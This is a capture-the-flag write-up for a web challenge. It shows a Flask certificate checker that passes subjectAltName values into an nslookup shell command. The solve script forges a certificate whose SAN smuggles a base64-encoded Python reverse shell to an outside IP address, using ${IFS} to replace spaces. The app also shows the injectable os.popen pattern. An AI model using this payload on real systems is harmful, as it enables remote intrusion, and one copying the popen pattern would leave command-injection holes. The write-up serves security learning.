swiss hacking challenge 2024 - sentry-as-navigation

Posted on May 1, 2024

Difficulty: medium

Category: web

Author: xNULL

TODO, maybe I wont

Files

app.py

from flask import Flask, request, jsonify
import OpenSSL
import ssl
import socket
import re
import os


app = Flask(__name__)


@app.route("/check", methods=["POST"])
def check_domain_certificate():
    domain = request.form.get("domain")

    if not domain:
        return jsonify({"error": "Domain name is required"}), 400

    certificate = get_certificate(domain)
    x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certificate)

    result = {
        "subject": [
            {x.decode(): y.decode()} for (x, y) in x509.get_subject().get_components()
        ],
        "issuer": [
            {x.decode(): y.decode()} for (x, y) in x509.get_issuer().get_components()
        ],
        "serialNumber": x509.get_serial_number(),
        "version": x509.get_version(),
        "notBefore": x509.get_notBefore().decode(),
        "notAfter": x509.get_notAfter().decode(),
        "nslookup": {},
    }

    extensions = (x509.get_extension(i) for i in range(x509.get_extension_count()))
    extension_data = {e.get_short_name().decode(): str(e) for e in extensions}
    result.update(extension_data)

    san_entries = (
        result["subjectAltName"].replace(" ", "").replace("DNS:", "").split(",")
    )
    for entry in san_entries:
        match = re.match(r"^secure.*\.com$", entry)
        print(f"{entry}: {match}")
        if match:
            command = f"nslookup {entry}"
            result["nslookup"][entry] = os.popen(command).read().strip()

    return jsonify({"result": result}), 200


def get_certificate(host, port=443, timeout=10):
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    conn = socket.create_connection((host, port))
    sock = context.wrap_socket(conn, server_hostname=host)
    sock.settimeout(timeout)
    try:
        der_cert = sock.getpeercert(True)
    finally:
        sock.close()
    return ssl.DER_cert_to_PEM_cert(der_cert)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

Exploitation

The subjectAltName field is vulnerable to command injection. I reused the challenge script from the self-service challenge of the library to build a (probably overcomplicated) solve script:

from OpenSSL import crypto

def generate_key():
    key = crypto.PKey()
    key.generate_key(crypto.TYPE_RSA, 4096)
    return key

def gen_cert():
    ca_key = generate_key()
    ca_cert = crypto.X509()
    ca_cert.get_subject().CN = "SelfService Legacy Root CA"
    ca_cert.set_serial_number(420)
    ca_cert.set_version(2)
    ca_cert.gmtime_adj_notBefore(-(30 * 24 * 60 * 60))
    ca_cert.gmtime_adj_notAfter((10 * 24 * 60 * 60))
    ca_cert.set_issuer(ca_cert.get_subject())
    ca_cert.set_pubkey(ca_key)
    # python reverse shell
    PAYLOAD=b'echo "cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTYyLjIxMC4xOTIuMjE1Iiw1MzQxMykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiL2Jpbi9iYXNoIikn" | base64 -d | sh'
    PAYLOAD=PAYLOAD.replace(b' ',b'${IFS}')
    ca_cert.add_extensions(
        [
            crypto.X509Extension(
                b"subjectAltName", False, b"DNS: secure.||$("+PAYLOAD+b")||.com", issuer=ca_cert
            ),
        ]
    )
    ca_cert.sign(ca_key, "sha512")
    return (ca_cert, ca_key)

def to_pem(cert: crypto.X509):
    return crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode("utf-8")

gen_ca_cert, gen_ca_key = gen_cert()
with open("ca_cert.pem", "w") as f:
    f.write(to_pem(gen_ca_cert))
with open("ca_key.pem", "w") as f:
    f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, gen_ca_key).decode("utf-8"))

I then deployed these certs on an nginx server, got the reverse shell connection and the flag:

Flag

shc2024{SAN_411_th3_th1ngs!!!!!}

Conclusion

I feel like I overcomplicated my exploit a bit…